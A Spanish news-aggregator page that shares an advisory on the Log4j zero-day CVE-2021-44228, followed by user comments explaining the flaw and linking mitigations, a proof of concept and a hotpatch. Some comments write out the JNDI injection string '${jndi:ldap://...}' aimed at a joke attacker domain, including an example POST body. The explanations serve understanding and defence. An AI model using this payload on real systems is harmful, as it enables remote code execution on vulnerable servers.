233 meneos
2392 clics
![Aviso de seguridad: Una nueva vulnerabilidad zero-day en la biblioteca Java Log4j ya está siendo explotada (en)](cache/36/d8/media_thumb-link-3594248.jpeg?1639140966)
Aviso de seguridad: Una nueva vulnerabilidad zero-day en la biblioteca Java Log4j ya está siendo explotada (en)
Una vulnerabilidad zero-day recientemente descubierta en la biblioteca de registro de Java Apache Log4j, ampliamente utilizada, es fácil de explotar y permite a los atacantes obtener el control total de los servidores afectados. La vulnerabilidad, clasificada como CVE-2021-44228, es grave y permite la ejecución remota de código sin autenticación cuando el usuario que ejecuta la aplicación utiliza la biblioteca de registro de Java. El CERT de Nueva Zelanda advierte que ya está siendo explotada a lo bestia.
|
comentarios cerrados
Mitigaciones:
www.lunasec.io/docs/blog/log4j-zero-day/
PoC:
github.com/tangxiaofeng7/apache-log4j-poc
Web oficial:
logging.apache.org/log4j/2.x/security.html
$(jndi):ldap:// en todas partes
o
$(jndi):rdmi://
Hay alguna PoC por ahi?
Parece que con un JDK algo actualizado ya no funciona (por ejemplo, para Java 8, desde la 191 ya no funcionaría).
Por otra parte muchos servidores tienen las conexiones salientes capadas, por lo que ahí tampoco funcionaría el ataque.
Y básicamente esta imagen lo resume todo user-images.githubusercontent.com/45926593/145425339-47c71230-87d2-451
La vulnerabilidad es cuando logueas, directamente, el resultado de una llamada a un LDAP pq lo deserializa in java's way?
Pero quien loguea eso? Por que?
Todo el tema de la inyeccion de clases en tiempo de ejecucion que suena muy hipster no deja de ser una gilipollez en sistemas corporativos tipicos.
Vivimos la era del fashion oriented programming y vaya si se nota.
Vamos que log4j tiene un fallo muy grave y sin embargo java lo cubre bastante bien para que explotarla sea bastante más difícil de lo que ya es...
¿Esto es el salvame delux de la programación?
Os odio a todos
Generalmente guardaras la respuesta en algun sitio porque la querras para algo mas que logearla, no se la das directamente a un log, y el problema solo ocurre cuando el deserializado lo hace log4j2, no?
Y cuando la recojas para hacer algo con ella la desearilazas a un objeto (de la clase que sea) y ya no lo tendra que hacer log4j2, no? Le daras ese objeto ya parseado a log4j....
Insisto, creo que lo he entendido mal, pero no se QUE he entendido mal.
Esta vulnerabilidad debe considerarse critica independientemente de que version de OpenJDK se esta utilizando. La unica opcion para evitar el problema es actualizar Log4j2 a la ultiva version de 2.15 disponible (2.15rc2 en el momento de escribir este mensaje)
Que no que no!!!!!
Que es que el mismo atacante te manda la cadena de texto (pongamos en el username cuando alguien va a loguearse o darse de alta en la applicacion, por ejemplo) "${jndi:ldap://dasdafdafs}" y coge el tontopollas del log4j y se pone a llamar a la pagina y a deserializar la respuesta y le enchufan una class que explota la vulnerabilidad mitica del deserializado y puede ejecutar lo que quiera con permisos de quien haya lanzado el servidor....
LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOL
Como pueden hacer un CAGADON de ese tamaño en una puta libreria que SOLO TIENE QUE LOGUEAR, JODER
Tu mensaje no es correcto. El fallo de log4j2 es critico, y en muchas ocasiones puede utilizarse independientemente de la version de OpenJDK en la que esta corriendo log4j2. La unica opción segura es actualizar Log4j2
"${jndi:ldap://jaja.equisde.tevoyapetarelkakas.com/miraquerisas}"
Para que el jodio log4j se lo coma
Ejemplo:
POST mipagina.com/user
A la que se le pasa de body
{ "user": "${jndi:ldap://jaja.equisde.tevoyapetarelkakas.com/miraquerisas}", email="ostiatu@tetemail.com"}
Y como se te ocurra logear el user estas jodido....
BOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOM
Pero sí, estoy de acuerdo con lo que dices y no hay que dejar ningún frente abierto.
Si en ese parámetro alguien manda la cadena del exploit, explota la vulnerabilidad. En el primer enlace de #3 se ve perfectamente.
Luego hay un problema de concepto sobre qué es un servidor. Cuando hablas de servidor linux/windows (windows también tiene una versión para servidores) estás hablando de un servidor "fisico" que corre un SO. Pero también se llaman servidores a aplicaciones que escuchan peticiones de un cliente. Digamos que tú podrías tener un servidor windows/linux con varias aplicaciones de tipo servidor corriendo dentro de este. Por ejemplo un servidor de base de datos (SQLServer corre en windows, por ejemplo) y muchos de estos servidores son susceptibles de usar log4j, independientemente del SO donde corran.
Hago este comentario basándome en más de 7 años de I+D en el más bajo nivel en el Kernel de Linux; mi mundo discurre en los uS (microsegundos), en la gestión avanzada de threads en el scheduler, en el control de frecuencias en multinucleo y en la optimización de la estrategia idle de cada núcleo entre otras cosas.
También me dedico al tema ML y soy perfectamente consciente que sin todas esas fantásticas librerías no podría programar de forma simple en los distintos lenguajes como por ejemplo python.
Espero no haber soltado un tostón y buen finde!
En este Tweet un pequeño vídeo de su presentación: twitter.com/HaboubiAnis/status/1469714216407998475
Y aquí el PDF con su presentación: blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP
Log4j no solo lo hizo posible, sino que puede considerarse que lo hizo trivial
github.com/corretto/hotpatch-for-apache-log4j2